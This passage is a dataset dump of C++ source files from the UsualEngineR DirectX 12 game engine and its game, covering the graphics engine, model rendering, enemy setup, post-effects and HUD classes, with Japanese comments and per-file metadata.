<summary>\n\t\t/// 描画の完了待ち。\n\t\t/// </summary>\n\t\tvoid WaitDraw();\n\t\t\n\n\t\t\n\tpublic:\n\t\tenum { FRAME_BUFFER_COUNT = 2 };\t\t\t\t\t\t//フレームバッファの数。\n\tprivate:\n\t\t//GPUベンダー定義。\n\t\tenum GPU_Vender {\n\t\t\tGPU_VenderNvidia,\t//NVIDIA\n\t\t\tGPU_VenderAMD,\t\t//Intel\n\t\t\tGPU_VenderIntel,\t//AMD\n\t\t\tNum_GPUVender,\n\t\t};\n\t\t\n\t\tID3D12Device5* m_d3dDevice = nullptr;\t\t\t\t\t//D3Dデバイス。\n\t\tID3D12CommandQueue* m_commandQueue = nullptr;\t\t\t//コマンドキュー。\n\t\tIDXGISwapChain3* m_swapChain = nullptr;\t\t\t\t\t//スワップチェイン。\n\t\tID3D12DescriptorHeap* m_rtvHeap = nullptr;\t\t\t\t//レンダリングターゲットビューのディスクリプタヒープ。\n\t\tID3D12DescriptorHeap* m_dsvHeap = nullptr;\t\t\t\t//深度ステンシルビューのディスクリプタヒープ。\n\t\tID3D12CommandAllocator* m_commandAllocator = nullptr;\t//コマンドアロケータ。\n\t\tID3D12GraphicsCommandList4* m_commandList = nullptr;\t\t//コマンドリスト。\n\t\tID3D12PipelineState* m_pipelineState = nullptr;\t\t\t//パイプラインステート。\n\t\tint m_currentBackBufferIndex = 0;\t\t\t\t\t\t//現在のバックバッファの番号。\n\t\tUINT m_rtvDescriptorSize = 0;\t\t\t\t\t\t\t//フレームバッファのディスクリプタのサイズ。\n\t\tUINT m_dsvDescriptorSize = 0;\t\t\t\t\t\t\t//深度ステンシルバッファのディスクリプタのサイズ。\n\t\tUINT m_cbrSrvDescriptorSize = 0;\t\t\t\t\t\t//CBR_SRVのディスクリプタのサイズ。\n\t\tUINT m_samplerDescriptorSize = 0;\t\t\t\t\t\t//サンプラのディスクリプタのサイズ。\n\t\tID3D12Resource* m_renderTargets[FRAME_BUFFER_COUNT] = { nullptr };\t//フレームバッファ用のレンダリングターゲット。\n\t\tID3D12Resource* m_depthStencilBuffer = nullptr;\t//深度ステンシルバッファ。\n\t\tD3D12_VIEWPORT m_viewport;\t\t\t//ビューポート。\n\t\tD3D12_RECT m_scissorRect;\t\t\t//シザリング矩形。\n\t\tRenderContext m_renderContext;\t\t//レンダリングコンテキスト。\n\t\tD3D12_CPU_DESCRIPTOR_HANDLE m_currentFrameBufferRTVHandle;\t\t//現在書き込み中のフレームバッファのレンダリングターゲットビューのハンドル。\n\t\tD3D12_CPU_DESCRIPTOR_HANDLE m_currentFrameBufferDSVHandle;\t\t//現在書き込み中のフレームバッファの深度ステンシルビューの\n\t\t// GPUとの同期で使用する変数。\n\t\tUINT m_frameIndex = 0;\n\t\tHANDLE m_fenceEvent = nullptr;\n\t\tID3D12Fence* m_fence = nullptr;\n\t\tUINT64 m_fenceValue = 0;\n\t\tUINT m_frameBufferWidth = 0;\t\t\t//フレームバッファの幅。\n\t\tUINT m_frameBufferHeight = 0;\t\t\t//フレームバッファの高さ。\n\t\tCamera m_camera2D;\t\t\t\t\t\t//2Dカメラ。\n\t\tCamera m_camera3D;\t\t\t\t\t\t//3Dカメラ。\n\t\t//RaytracingEngine m_raytracingEngine;\t//レイトレエンジン。\n\t\traytracing::Engine m_raytracingEngine;\n\n\t\tRenderTarget m_mainRT;\n\t\t\n\t\tLightManager m_lightManager;\n\t\tPostEffect m_postEffect;\n\t\tPreRender m_preRender;\n\n\t\tShadowMap m_shadowMap;\n\n\t\tPrimitive m_primitive;\n\t\tRootSignature m_copyRootSign;\n\t\tDescriptorHeap m_copyDescHeap;\n\t\tPipelineState m_copyPipeState;\n\t\tShader m_copyShader;\n\t\tShader m_copyVS;\n\t\tShader m_copyPS;\n\n\t\tbool m_isEnableRaytracing = false;\n\n\t\tstd::unique_ptr<DirectX::GraphicsMemory> m_graphicsMemory;\n\t\tID3D12DescriptorHeap* m_fontHeep = nullptr;\n\t\tDirectX::SpriteBatch* m_spriteBatch = nullptr;\n\t\tDirectX::SpriteFont* m_spriteFont = nullptr;\n\t};\n\textern GraphicsEngine* g_graphicsEngine;\t//グラフィックスエンジン\n\textern Camera* g_camera2D;\t\t\t\t\t//2Dカメラ。\n\textern Camera* g_camera3D;\t\t\t\t\t//3Dカメラ。\n\n\textern Lock<GraphicsEngine> g_lockGraphicsEngine;\t\n\textern Lock<Camera> g_lockCamera3D;\t\t\t\t\t//スレッドの排他処理用の3Dかめら\n\n\n}\n"
},
{
"alpha_fraction": 0.6294931173324585,
"alphanum_fraction": 0.6294931173324585,
"avg_line_length": 13.876712799072266,
"blob_id": "7e2166c342648822764c3e0c6ee4a26506afea52",
"content_id": "13cb63b4d086cabd1cf4ed0f11f5bdfdd677b111",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1419,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 73,
"path": "/Tools/UERGameObjectFileGenerator/Resource/TempCodeSource_block.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n/// <summary>\n/// \n/// </summary>\nclass XXX :public GameObject\n{\npublic:\n\tXXX();\n\tvirtual ~XXX();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n:block Awake\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n:end\n\n:block Start\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n:end\n\n:block PreUpdate\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n:end\n:block Update\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n:end\n:block PostUpdate\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n:end\n\n:block Render\n\t/// <summary>\n\t/// 描画。\n\t/// </summary>\n\tvoid Render() override;\n:end\n\n:block PostRender\n\t/// <summary>\n\t/// 手前に表示するやつの描画。\n\t/// </summary>\n\tvoid PostRender() override;\n:end\nprivate:\n\n};"
},
{
"alpha_fraction": 0.6763636469841003,
"alphanum_fraction": 0.685034990310669,
"avg_line_length": 23.83333396911621,
"blob_id": "e41b00fdef1cc8a58c89642a2d999f75f09289ed",
"content_id": "eed4781eacfea668a77b1522965c1618842d57ab",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3649,
"license_type": "no_license",
"max_line_length": 82,
"num_lines": 144,
"path": "/Game/Player/State/PlayerChurchState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"PlayerChurchState.h\"\n#include \"../Player.h\"\n#include \"../../GameManager.h\"\n#include \"Church.h\"\n#include \"GameSceneMenu.h\";\n#include \"HUD/KeyHelp.h\"\n\nPlayerChurchState::PlayerChurchState()\n{\n\n}\n\nPlayerChurchState::~PlayerChurchState()\n{\n\tif (m_keyHelp_Heal != nullptr) {\n\t\tDeleteGO(m_keyHelp_Heal);\n\t}\n}\n\nvoid PlayerChurchState::Enter(Player* p) {\n#ifdef _PRINT_PLAYER_STATE\n\tDebugPrint_WATA(\"Player : Enter Church State\\n\");\n#endif\n\n\tp->StopThrusters();\n\n\tm_velocity = p->GetLocalVelocity();\n\tp->PlayAnimation(Player::EnAnimation::enWalk, m_AnimInterpolate);\n\n\tif (m_keyHelp_Heal == nullptr) {\n\t\tm_keyHelp_Heal = NewGO<KeyHelp>(0);\n\t\tVector3 keyHelpPos = { 200.f,-100.f,0.f };\n\t\tm_keyHelp_Heal->Init(keyHelpPos, L\"B:回復\");\n\t}\n\telse {\n\t\t//m_keyHelp_Heal->SetActive(true);\n\t}\n\n\tm_keyHelp_Heal->Display();\n}\n\nIPlayerState* PlayerChurchState::Update(Player* p) {\n\n\tauto lxf = g_pad[0]->GetLStickXF();\n\tauto lyf = g_pad[0]->GetLStickYF();\n\n\tm_vecVelocityGoal.x = lxf * m_VELOCITY_MAX;\n\tm_vecVelocityGoal.z = lyf * m_VELOCITY_MAX;\n\n\tVector3 stick(lxf, lyf, 0.f);\n\tfloat animSpeed = m_DefaultAnimSpeed + stick.Length();\n\n\tbool isRunning = false;\n\n\tif (g_pad[0]->IsTrigger(enButtonX)) {\n\t\tif (p->GetCurrentEndurance() > m_RUN_BEGIN_COST) {\n\t\t\tm_hasEnoughStaminaToRun = true;\n\t\t}\n\t}\n\t//押しっぱなしでスタミナが切れた場合は再度ボタンを押しなおすまで走らない.\n\tif (g_pad[0]->IsPress(enButtonX) and m_hasEnoughStaminaToRun) {\n\t\tif (p->GetCurrentEndurance() > m_RUN_BEGIN_COST) {\n\t\t\tisRunning = true;\n\t\t\tm_vecVelocityGoal *= m_RUN_SPEED_PARAM;\n\t\t\tp->PlayAnimation(Player::EnAnimation::enRun, m_AnimInterpolate);\n\t\t\tp->GetModelRender().SetAnimPlaySpeed(m_DefaultAnimSpeed);\n\t\t}\n\t\telse {\n\t\t\tm_hasEnoughStaminaToRun = false;\n\t\t}\n\t}\n\telse {\n\t\tp->PlayAnimation(Player::EnAnimation::enWalk, m_AnimInterpolate);\n\t\tp->GetModelRender().SetAnimPlaySpeed(animSpeed);\n\t}\n\n\tauto delta = gameTime()->GetDeltaTime();\n\tm_velocity.x = Approach(m_vecVelocityGoal.x, m_velocity.x, delta * m_QUICKNESS);\n\tm_velocity.z = Approach(m_vecVelocityGoal.z, m_velocity.z, delta * m_QUICKNESS);\n\n\tauto cam = g_lockCamera3D.Get();\n\tauto forward = cam->GetForward();\n\n\tforward.y = 0.f;\n\tforward.Normalize();\n\tVector3 up = { 0,1,0 };\n\tVector3 right = forward;\n\tright.Cross(up);\n\tright.Normalize();\n\n\tauto vel = forward * m_velocity.z + right * -m_velocity.x;\n\n\tif (!p->IsOnGround()) {\n\t\tvel.y += m_GRAVITY;\n\t}\n\n\tvel *= p->GetSpeed();\n\tp->SetVelocity(vel);\n\tp->SetLocalVelocity(m_velocity);\n\n\tif (vel.x == 0.f and vel.z == 0.f) {\n\t\tp->PlayAnimation(Player::EnAnimation::enIdle, m_AnimInterpolate);\n}\n\telse if (isRunning) {\n\t\tp->UseStamina(m_RUN_COST * gameTime()->GetDeltaTime());\n\t}\n\n\t//Rotation\n\tif (vel.x != 0.f or vel.z != 0.f) {\n\t\tQuaternion rot = Quaternion::Identity;\n\t\tauto theta = atan2(vel.x, vel.z);\n\t\ttheta = theta * (180.f / Math::PI);\n\t\trot.SetRotationDegY(theta);\n\t\tp->SetRotation(rot);\n\t}\n\n\t//Stamina\n\tif (!isRunning) {\n\t\t//endurance recharge\n\t\tp->ChargeEndurance(m_ENDURANCE_AUTO_CHARGE_AMOUNT * gameTime()->GetDeltaTime());\n\t}\n\n\tp->ChargeBoost(m_BOOST_AUTO_CHARGE_AMOUNT* gameTime()->GetDeltaTime());\n\n\tif (g_pad[0]->IsTrigger(EnButton::enButtonB)) {\n\t\tauto church = GameManager::GetInstance().GetChurch();\n\t\tif(church->IsPossibleToHeal()){\n\t\t\tchurch->DoHeal();\n\t\t\tp->PlayAnimation(Player::EnAnimation::enIdle, m_AnimInterpolate);\n\t\t}\n\t}\n\treturn this;\n}\n\nvoid PlayerChurchState::Exit(Player* p) {\n#ifdef _PRINT_PLAYER_STATE\n\tDebugPrint_WATA(\"Player : Exit Church State\\n\");\n#endif\n\tp->GetModelRender().SetAnimPlaySpeed(m_DefaultAnimSpeed);\n\t//m_keyHelp_Heal->SetActive(false);\n\n\tm_keyHelp_Heal->Undisplay();\n}"
},
{
"alpha_fraction": 0.6679302453994751,
"alphanum_fraction": 0.6686884164810181,
"avg_line_length": 17.082191467285156,
"blob_id": "4d4a31d4564248bf664f6595dec6f1dc613ad950",
"content_id": "4686be0052c4ada51754d57268d82e9d8b8eea89",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1319,
"license_type": "no_license",
"max_line_length": 90,
"num_lines": 73,
"path": "/UsualEngineR/Graphics/ModelRender.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"ModelRender.h\"\n\n\n\nnamespace UER\n{\n\tvoid ModelRender::Release()\n\t{\n\t\t\n\t}\n\tvoid ModelRender::OnDestroy()\n\t{\n\n\t}\n\tvoid ModelRender::Init(const ModelInitData& initdata)\n\t{\n\t\tm_model.Init(initdata);\n\n\t\tm_isInit = true;\n\t}\n\tvoid ModelRender::InitAnimation(const std::map<int,CAnimationClipPtr> &anim, int animNum)\n\t{\n\t\tauto ske = m_model.GetSkelton();\n\t\tm_animation.Init(*m_model.GetSkelton(), anim);\n\t\tske->SetPlayFlag(true);\n\t\t\n\t}\n\tvoid ModelRender::Awake()\n\t{\n\t\t//SetThreadingFunction(GameObject::tf_Update);\n\t}\n\n\tvoid ModelRender::Update()\n\t{\n\t\tif (!m_isInit)\n\t\t{\n\t\t\treturn;\n\t\t}\n\t\tm_isRender = true;\n\n\t\tfloat dtime = gameTime()->GetDeltaTime();\n\t\tm_animation.Progress(dtime*m_animPlaySpeed);\n\t\t\n\t\tm_model.UpdateWorldMatrix(m_position, m_rotation, m_scale);\n\t\tm_model.UpdateIK();\n\t\tm_model.UpdateSkeleton();\n\t\t\n\t\t//m_model.UpdateSkeleton();\n\n\t}\n\tvoid ModelRender::PreRender()\n\t{\n\t\tif (!m_isRender || !m_isInit)\n\t\t\treturn;\n\n\t\tif (m_isShadowCaster)\n\t\t\tg_graphicsEngine->GetShadowMap().AddShadowCaster(&m_model);\n\t}\n\tvoid ModelRender::Render()\n\t{\n\t\tif (!m_isRender || !m_isInit || m_instanceNum<=0)\n\t\t\treturn;\n\n\t\t\n\t\t\n\t\tauto& rc = g_graphicsEngine->GetRenderContext();\n\t\tif (!m_isInstancing)\n\t\t\tm_model.Draw(rc,m_mulColor);\n\t\telse\n\t\t\tm_model.DrawInstanced(rc, m_instanceNum, m_mulColor);\n\t}\n}"
},
{
"alpha_fraction": 0.6916829943656921,
"alphanum_fraction": 0.7016242146492004,
"avg_line_length": 31.912443161010742,
"blob_id": "4285044af88174fac4aca7882c47a43844b000ec",
"content_id": "841784afbc7f16ba57ef96b06dffd7fcb1d195b4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 7178,
"license_type": "no_license",
"max_line_length": 130,
"num_lines": 217,
"path": "/Game/Enemy/Zako/Zako_LongBig.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"Zako_LongBig.h\"\n#include \"Enemy/State/EnemyIdleState.h\"\n#include \"Enemy/State/EnemyDeadState.h\"\n#include \"Enemy/State/LongBigState/EnemyLongBigAttackState.h\"\n#include \"Enemy/State/LongBigState/EnemyLongBigTargetingState.h\"\n#include \"Enemy/State/LongBigState/EnemyLongBigBlownState.h\"\n#include \"Enemy/State/EnemyShortRangeStunState.h\"\n\nZako_LongBig::Zako_LongBig()\n{\n\n}\n\nZako_LongBig::~Zako_LongBig()\n{\n\t//delete m_stateList[TO_UINT(EStateEX::LongDistanceAttack)];\n\tPhysics().RemoveRigidBody(m_rigidBody);\n}\n\nvoid Zako_LongBig::Init()\n{\n\t////Model\n\t//ModelInitData mid;\n\t//mid.m_tkmFilePath = \"Assets/modelData/test/test.tkm\";\n\t//mid.m_vsEntryPointFunc = \"VSMain\";\n\t//mid.m_psEntryPointFunc = \"PSMain\";\n\t//mid.m_upAxis = enUpAxisY;\n\n\t//m_model = NewGO<ModelRender>(0);\n\t//m_model->Init(mid);\n\t//m_model->SetScale(Vector3::One * m_scale);\n\n\t////State\n\t//SetState(m_stateMap[static_cast<int>(IEnemy::EnState::enIdleState)]);\n\n\t////Physics\n\t//InitCharacon(m_radius, m_height, m_position, true);\n\n\t\t//Model\n\tModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/enemy/LongRangeMachine/LongRangeMachine.tkm\";\n\tmid.m_tksFilePath = \"Assets/modelData/enemy/LongRangeMachine/LongRangeMachine.tks\";\n\tmid.m_vsfxFilePath = \"Assets/shader/AnimModel.fx\";\n\tmid.m_vsEntryPointFunc = \"VSMain\";\n\tmid.m_psEntryPointFunc = \"PSMain\";\n\tmid.m_upAxis = enUpAxisY;\n\n\tm_model = NewGO<ModelRender>(0);\n\tm_model->Init(mid);\n\tm_model->SetScale(Vector3::One * m_scale);\n\t//m_model->SetMulColor({ 0.5, 0, 0.5, 1 });\n\n\t/*m_animlist.resize(TO_INT(EAnim::Num));\n\tm_animlist[TO_INT(EAnim::Idle)] = std::make_unique<CAnimationClip>();\n\tm_animlist[TO_INT(EAnim::Idle)]->Load(\"Assets/modelData/enemy/LongRangeMachine/anim/lrm_idol.tka\");\n\tm_animlist[TO_INT(EAnim::Idle)]->BuildKeyFramesAndAnimationEvents();\n\tm_animlist[TO_INT(EAnim::Idle)]->SetLoopFlag(true);*/\n\n\t/*m_animlist[TO_INT(EAnim::Walk)] = std::make_unique<CAnimationClip>();\n\tm_animlist[TO_INT(EAnim::Walk)]->Load(\"Assets/modelData/enemy/LongRangeMachine/anim/lrm_walk.tka\");\n\tm_animlist[TO_INT(EAnim::Walk)]->BuildKeyFramesAndAnimationEvents();\n\tm_animlist[TO_INT(EAnim::Walk)]->SetLoopFlag(true);\n\n\tm_animlist[TO_INT(EAnim::Fire)] = std::make_unique<CAnimationClip>();\n\tm_animlist[TO_INT(EAnim::Fire)]->Load(\"Assets/modelData/enemy/LongRangeMachine/anim/lrm_fire.tka\");\n\tm_animlist[TO_INT(EAnim::Fire)]->BuildKeyFramesAndAnimationEvents();\n\tm_animlist[TO_INT(EAnim::Fire)]->SetLoopFlag(false);*/\n\n\tSetAnimation(TO_INT(IEnemy::EnAnimation::enIdle), \"Assets/modelData/enemy/LongRangeMachine/anim/lrm_idol.tka\", true);\n\tSetAnimation(TO_INT(IEnemy::EnAnimation::enWalk), \"Assets/modelData/enemy/LongRangeMachine/anim/lrm_walk.tka\", true);\n\tSetAnimation(TO_INT(EnAnimEX::Fire), \"Assets/modelData/enemy/LongRangeMachine/anim/lrm_fire.tka\", false);\n\n\tm_model->InitAnimation(m_animationMap, TO_INT(EnAnimEX::Num));\n\tm_model->Play(TO_INT(IEnemy::EnAnimation::enIdle));\n\n\tauto& model = m_model->GetModel();\n\tauto ske = model.GetSkelton();\n\tIK* ik = model.CreateIK(ske->GetBone(ske->FindBoneID(L\"Bone.003\")), 1, 0.5);\n\tik->SetIKMode(IK::enMode_NoneHit);\n\treinterpret_cast<EnemyLongBigTargetingState*>(m_stateMap[TO_UINT(EnStateEX::LongBigTargeting)])->Init(ik, m_rot, m_bulletSpeed);\n\t//reinterpret_cast<EnemyLongDistanceAttackState*>(m_stateList[TO_UINT(EStateEX::LongDistanceAttack)])->SetIK(ik);\n\n\t//State\n\tSetState(m_stateMap[static_cast<int>(IEnemy::EnState::enIdleState)]);\n\t//SetState(m_stateMap[TO_UINT(EStateEX::LongDistanceTargeting)]);\n\t//Physics\n\tInitCharacon(m_radius, m_height, m_position, true);\n\n\tm_box.Create({ 4,4,4 });\n\tRigidBodyInfo rbinfo;\n\trbinfo.collider = &m_box;\n\trbinfo.mass = 1;\n\t//static int i = 1;\n\t//rbinfo.pos = { 0,(float)(i*15),0 };\n\t//i++;\n\tm_rigidBody.Create(rbinfo);\n\tauto b = m_rigidBody.GetBody();\n\tb->setUserIndex(enCollisionAttr_Character | enCollisionAttr_NonHit);\n\n\tm_motionState = b->getMotionState();\n\t//btDefaultMotionState\n\tb->activate(false);\n\n\t//b->setCollisionFlags(btCollisionObject::CF_DISABLE_SPU_COLLISION_PROCESSING);\n\tb->setGravity({ 0,0,0 });\n\tPhysics().AddRigidBody(m_rigidBody);\n}\nvoid Zako_LongBig::InitState()\n{\n\t//m_stateMap.insert(std::make_pair(TO_INT(EnState::enIdleState), new EnemyIdleState()));\n\t//m_stateMap.insert(std::make_pair(TO_INT(EnState::enDeadState), new EnemyDeadState()));\n\t{\n\t\t/*auto p = std::make_pair(TO_INT(IEnemy::EnState::enDeadState), new EnemyDeadState());\n\t\tm_stateMap.insert(p);*/\n\t\tauto p = std::make_pair(TO_INT(IEnemy::EnState::enDeadState), new EnemyLongBigBlownState());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(IEnemy::EnState::enIdleState), new EnemyIdleState());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(EnStateEX::LongBigTargeting), new EnemyLongBigTargetingState());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(EnState::enStunState), new EnemyShortRangeStunState());\n\t\tm_stateMap.insert(p);\n\t}\n\n}\nvoid Zako_LongBig::InitIK()\n{\n\tauto ske = m_model->GetModel().GetSkelton();\n\t{\n\t\tIK* ik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Bone.003\")), 1, 0.5);\n\t\tik->SetIKMode(IK::enMode_NoneHit);\n\t\tSetIK(TO_INT(EnIK::enHead), ik);\n\t\treinterpret_cast<EnemyLongBigTargetingState*>(m_stateMap[TO_UINT(EnStateEX::LongBigTargeting)])->Init(ik, m_rot, m_bulletSpeed);\n\t}\n\t{\n\t\tIK* ik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Bone\")), 1, 3);\n\t\t//IK* ik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Bone.002\")), 1, 3);\n\t\tik->SetIKMode(IK::enMode_NoneHit);\n\n\t\tSetIK(TO_INT(EnIK::enChest), ik);\n\t}\n\n\t{\n\t\tIK* ik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Bone_L.008\")), 2, 1);\n\t\tik->SetIKMode(IK::enMode_NoneHit);\n\n\t\tSetIK(TO_INT(EIK::Foot1), ik);\n\t}\n\t{\n\t\tIK* ik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Bone_L.009\")), 2, 1);\n\t\tik->SetIKMode(IK::enMode_NoneHit);\n\n\t\tSetIK(TO_INT(EIK::Foot2), ik);\n\t}\n\t{\n\t\tIK* ik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Bone_R.008\")), 2, 1);\n\t\tik->SetIKMode(IK::enMode_NoneHit);\n\n\t\tSetIK(TO_INT(EIK::Foot3), ik);\n\t}\n\t{\n\t\tIK* ik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Bone_R.009\")), 2, 1);\n\t\tik->SetIKMode(IK::enMode_NoneHit);\n\n\t\tSetIK(TO_INT(EIK::Foot4), ik);\n\t}\n}\n\nvoid Zako_LongBig::Execute()\n{\n\tif (!m_isKinematic)\n\t{\n\t\tm_model->SetPosition(m_position);\n\t\tm_model->SetRotation(m_rot);\n\n\t\tauto b = m_rigidBody.GetBody();\n\t\tauto& t = b->getWorldTransform();\n\t\tt.setOrigin({ m_position.x,m_position.y + 5.f,m_position.z });\n\t\tt.setRotation({ m_rot.x,m_rot.y,m_rot.z,m_rot.w });\n\n\t\t/*btTransform tra;\n\t\tm_motionState->getWorldTransform(tra);\n\t\ttra.setOrigin({ m_position.x,m_position.y+5.f ,m_position.z });\n\t\tm_motionState->setWorldTransform(tra);*/\n\t}\n\telse\n\t{\n\t\tauto b = m_rigidBody.GetBody();\n\n\t\tm_model->SetRotation(b->getWorldTransform().getRotation());\n\t\tm_rot = b->getWorldTransform().getRotation();\n\n\t\tauto up = Vector3::Up;\n\t\tm_rot.Apply(up);\n\t\tVector3 pos = b->getWorldTransform().getOrigin();\n\t\tpos += up * -3;\n\t\tm_model->SetPosition(pos);\n\t\tm_position = pos;\n\t}\n\n\t//体力がなくなったら死亡ステートへ遷移\n\tif (m_ability.hp <= 0) {\n\t\tSetState(m_stateMap[static_cast<int>(IEnemy::EnState::enDeadState)]);\n\t}\n}\n\nvoid Zako_LongBig::Terminate()\n{\n\tDeleteGO(m_model);\n}\n"
},
{
"alpha_fraction": 0.6365007758140564,
"alphanum_fraction": 0.6546003222465515,
"avg_line_length": 13.755555152893066,
"blob_id": "a1057346719ff33a926f2d041d6217cccedccc99",
"content_id": "08ca797de97c208eae1ff0344d4217c7bb19ba2a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 663,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 45,
"path": "/UsualEngineR/Graphics/PostEffect/FocusBlur.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n#include \"TextureCopy.h\"\n\nnamespace UER\n{\n\tclass FocusBlur\n\t{\n\tpublic:\n\t\tFocusBlur(){}\n\t\t~FocusBlur(){}\n\n\t\tvoid Init();\n\n\t\tvoid Render(RenderContext& rc, const Primitive& prim);\n\n\t\tstruct BlurData\n\t\t{\n\t\t\tint samplingNum = 5;\n\t\t\tfloat samplingLen = 0.03f;\n\t\t\tVector2 center = { 0.5,0.5 };\n\t\t\tfloat decay = 0.2f;\n\t\t\tfloat time = 0.f;\n\t\t};\n\t\tBlurData& GetBlurData()\n\t\t{\n\t\t\treturn m_blurData;\n\t\t}\n\tprivate:\n\t\t\n\t\tBlurData m_blurData;\n\t\tConstantBuffer m_constBuff;\n\n\t\tRootSignature m_rootSign;\n\t\tDescriptorHeap m_descHeap;\n\t\tPipelineState m_pipState;\n\t\tShader m_vs;\n\t\tShader m_ps;\n\t\t//Shader m_psCopy;\n\n\t\tRenderTarget m_rt;\n\n\t\tTextureCopy m_texCopy;\n\t};\n}"
},
{
"alpha_fraction": 0.6156086325645447,
"alphanum_fraction": 0.6330809593200684,
"avg_line_length": 18.511363983154297,
"blob_id": "6b26aa5708f130d8e19a7de0cf2b981d74e5acf8",
"content_id": "df4b3826824862cd8858e9e77ff7d288d83bb0e0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2077,
"license_type": "no_license",
"max_line_length": 63,
"num_lines": 88,
"path": "/Game/HUD/TargetMarker.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n/// <summary>\n/// \n/// </summary>\nclass TargetMarker :public GameObject\n{\npublic:\n\tTargetMarker();\n\tvirtual ~TargetMarker();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\t/// <summary>\n\t/// 描画。\n\t/// </summary>\n\tvoid Render() override;\n\n\t/// <summary>\n\t/// 手前に表示するやつの描画。\n\t/// </summary>\n\tvoid PostRender() override;\n\n\t/// <summary>\n/// 親オブジェクトの座標を指定\n/// </summary>\n/// <param name=\"pos\"></param>\n\tvoid SetParentPos(const Vector3& pos) {\n\t\tm_parentPos = pos;\n\t}\n\n\t/// <summary>\n\t/// \n\t/// </summary>\n\t/// <param name=\"flag\">draw flag</param>\n\tvoid SetDrawFlag(const bool flag) {\n\t\tm_spMarker->SetActive(flag);\n\t}\n\n\tvoid SetMarkerPosOffset(const Vector3& offset) {\n\t\tm_markerPosOffset = offset;\n\t}\n\nprivate:\n\tbool m_shouldBeDrawn = false;\n\tVector3 m_parentPos = Vector3::Zero;\n\tSpriteRender* m_spMarker = nullptr;\n\tconst float m_flSpHpHeight = 32;\n\tconst float m_flSpHpWidth = 32;\n\tconst Vector3 m_markerScale = { 1.f / 200.f , 1.f / 200.f,1 };\n\tVector3 m_markerPosOffset = { 0.f,0.f,0.f };\n\tconst Vector2 m_SPRITE_PIVOT = { 1.f,0.f };\n\tconst Vector4 m_COLOR = { 1,1,1,1 };\n};\n"
},
{
"alpha_fraction": 0.673537015914917,
"alphanum_fraction": 0.6835836172103882,
"avg_line_length": 24.749332427978516,
"blob_id": "da8c1cd54a86d512d8073b3f377843b316bfb9d1",
"content_id": "1f527d66d411666b1a3a5605a5502ea95a1e96d6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 9729,
"license_type": "no_license",
"max_line_length": 161,
"num_lines": 375,
"path": "/Game/Game.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
